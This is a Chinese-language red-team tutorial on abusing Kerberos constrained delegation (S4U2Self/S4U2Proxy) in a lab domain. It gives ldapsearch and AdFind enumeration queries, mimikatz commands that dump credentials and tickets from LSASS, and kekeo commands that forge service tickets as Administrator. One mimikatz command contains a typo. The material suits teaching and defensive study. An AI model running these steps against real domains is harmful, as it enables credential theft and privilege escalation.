约束委派攻击

0x00 原理

回顾

首先回顾一下什么是委派？

委派就是用户A委派主机hostB上的服务代表自己去访问了主机hostC上的服务C，委派需要提前在域控上进行配置，它可以理解成是一种权限。

约束性委派原理

由于⾮约束委派的不安全性（配置了⾮约束委派的机器在 LSASS 中缓存了⽤户的 TGT 票据可模拟⽤户去访问域中任意服务），微软在 Windows Server 2003 中引⼊了约束委派，对 Kerberos 协议进⾏拓展，引⼊了 S4U(S4U2Self / S4U2proxy), 这两个扩展都允许服务代表⽤户向 KDC 请求票据。

S4U2self (Service for User to S4U2Self) 可以代表自身请求针对其⾃身的 Kerberos 服务票据(ST)；如果⼀个服务账户的 userAccountControl 标志TRUSTED_TO_AUTH_FOR_DELEGATION , 则其可以代表任何其他⽤户获取⾃身服务的 ST。

S4U2proxy (Service for User to Proxy) 可以以⽤户的名义请求其它服务的 ST【读完你会发现这就是前面我们回顾的委派的原理】，而约束委派则是限制了 S4U2proxy 扩展的范围。

约束性委派的大致流程：
用户访问开启约束性委派的服务A
（情况一：无S4U2Self 参与）首先需要经过KDC认证，KDC发现服务A开启了约束性委派，于是在TGS_REP截断返回给用户ST1（可转发ST），用户拿着ST1访问服务A，服务A先与KDC进行身份验证获得一个有效TGT，然后拿着ST1经过S4U2PROXY协议向KDC发起TGS_REQ，KDC返回ST2（用户身份的ST），然后服务A拿着ST2访问之前设置的只能被指定访问的服务。
（情况二：有S4U2Self 参与）用户通过其他方式（如NTLM认证，表单认证等）获取了服务A的信任，但是此时服务A并没有来自用户的ST1，按情况一中的流程，服务A就不能完成委派。所以这个时候服务A会以自己的身份向KDC发起申请获取一个可转发TGT（获取KDC信任），然后用这个TGT发起TGS_REQ获得指定用户的ST1【也就是在这里我们可以伪造用户身份了，类似白银票据原理了】，既然获取了ST1，就继续情况一中的流程即可了（然后拿着ST1经过S4U2PROXY协议向KDC发起TGS_REQ，KDC返回ST2（用户身份的ST），然后服务A拿着ST2访问之前设置的只能被指定访问的服务。）。

【非/约束委派的区别】
1.与非约束性委派的区别是，限制了访问的服务类型与主机，但不能限制谁能对主机hostB进行委派。
2.Kerberos 协议进行拓展，引入了 S4U(S4U2Self / S4U2proxy), 运行服务代表用户向 KDC 请求票据。

3.不同于允许委派所有服务的⾮约束委派，约束委派的⽬的是在模拟⽤户的同时，限制委派机器/帐户对特定服务的访问。 

【S4U2Self 与S4U2proxy的联系】

简单来说被设置约束委派服务能够通过S4U2Self 向KDC为任意用户请求访问自身可转发的服务票据，接着就可以通过S4U2proxy使用ST1票据向KDC请求访问服务C的ST2票据，从而获取服务C的权限。

0x01 约束性委派设置

在域控机器上，找到Active Directory 用户和计算机->Users->sqlserver这个服务用户，右键属性->委派

选择 “仅信任此用户作为指定服务的委派” 勾选 “使用任何身份验证协议” 这个就对应前面流程中的第二个“有S4U2Self参与的”，则仅使用Kerberos则对应流程中的第一个“无S4U2Self参与的”。

可见这里我们设置的约束委派是只能指定访问域控机器的CIFS服务。

0x02 查找配置约束委派

一、ldapsearch

查找域中配置约束委派用户

ldapsearch -x -H ldap://10.10.10.8:389 -D "CN=sqlserver,CN=Users,DC=redteam,DC=red" -w password -b "DC=redteam,DC=red" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

查找域中配置约束委派主机

ldapsearch -x -H ldap://10.10.10.8:389 -D "CN=sqlserver,CN=Users,DC=redteam,DC=red" -w password -b "DC=redteam,DC=red" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

二、ADFind

#查询域中配置约束委派的主机
AdFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" -dn
#查询域中配置约束委派的服务账户
AdFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -dn

可以看到名为sqlserver的用户被配置为约束委派

0x03 约束性委派攻击利用

原理流程那里我们讲了在约束委派的情况下，服务用户只能获取某个用户（或主机）的服务的ST，所以只能模拟用户访问特定的服务，是无法获取用户的TGT，如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash，我们就可以伪造S4U请求，进而伪装成服务用户以任意账户的权限申请访问委派设置的制定服务的ST。

一、利用明文或者NTLM哈希

当控制了一台配置了约束性委派的机器后，管理员权限运行mimikatz，获取服务用户的登录明文或者NTLM哈希，Windows Server 2012及以后mimikatz无法直接破解出明文。

mimikatz.exe "log" "privilege::debug" "serkurlsa::logonpasswords" "exit"

 接着用kekeo请求该用户的TGT

tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:test.kirbi

或者

tgt::ask /user:sqlserver /domain:redteam.red /NTLM:6a59bf65a4957ac67e5fb4e1c221939c

参数：

/user: 服务用户的用户名

/password: 服务用户的明文密码

/domain: 所在域名

/ticket: 指定票据名称，但是也不好使

/ntlm:sqlserver服务用户对应的NTLM哈希

 这是我们以这个服务用户的身份去申请的TGT，得到TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi，然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问OWA CIFS的ST服务票据

tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/OWA.redteam.red

然后我们用mimikatz将ST2导入当前会话即可 

二、直接从内存中获取TGT

如果我们不知道服务用户的明文和NTLM Hash，但是我们有了服务用户登陆的主机权限（需要本地管理员权限），我们可以用mimikatz直接从内存中把服务用户的TGT dump出来

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

注：sekurlsa::tickets是列出和导出所有会话的Kerberos票据，sekurlsa::tickets和kerberos::list不同，sekurlsa是从内存读取，也就是从lsass进程读取，这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制，sekurlsa可以访问其他会话（用户）的票证。

 这种方法我们就跳过tgt::ask请求TGT这步，直接tgs::s4u

tgs::s4u /tgt:[0;5d24b]-2-0-60a00000-sqlserver@krbtgt-REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red

接下来就参照第一种方法PTT就好了 

0x04 参考

https://xz.aliyun.com/t/7217#toc-11https://xz.aliyun.com/t/7217#toc-11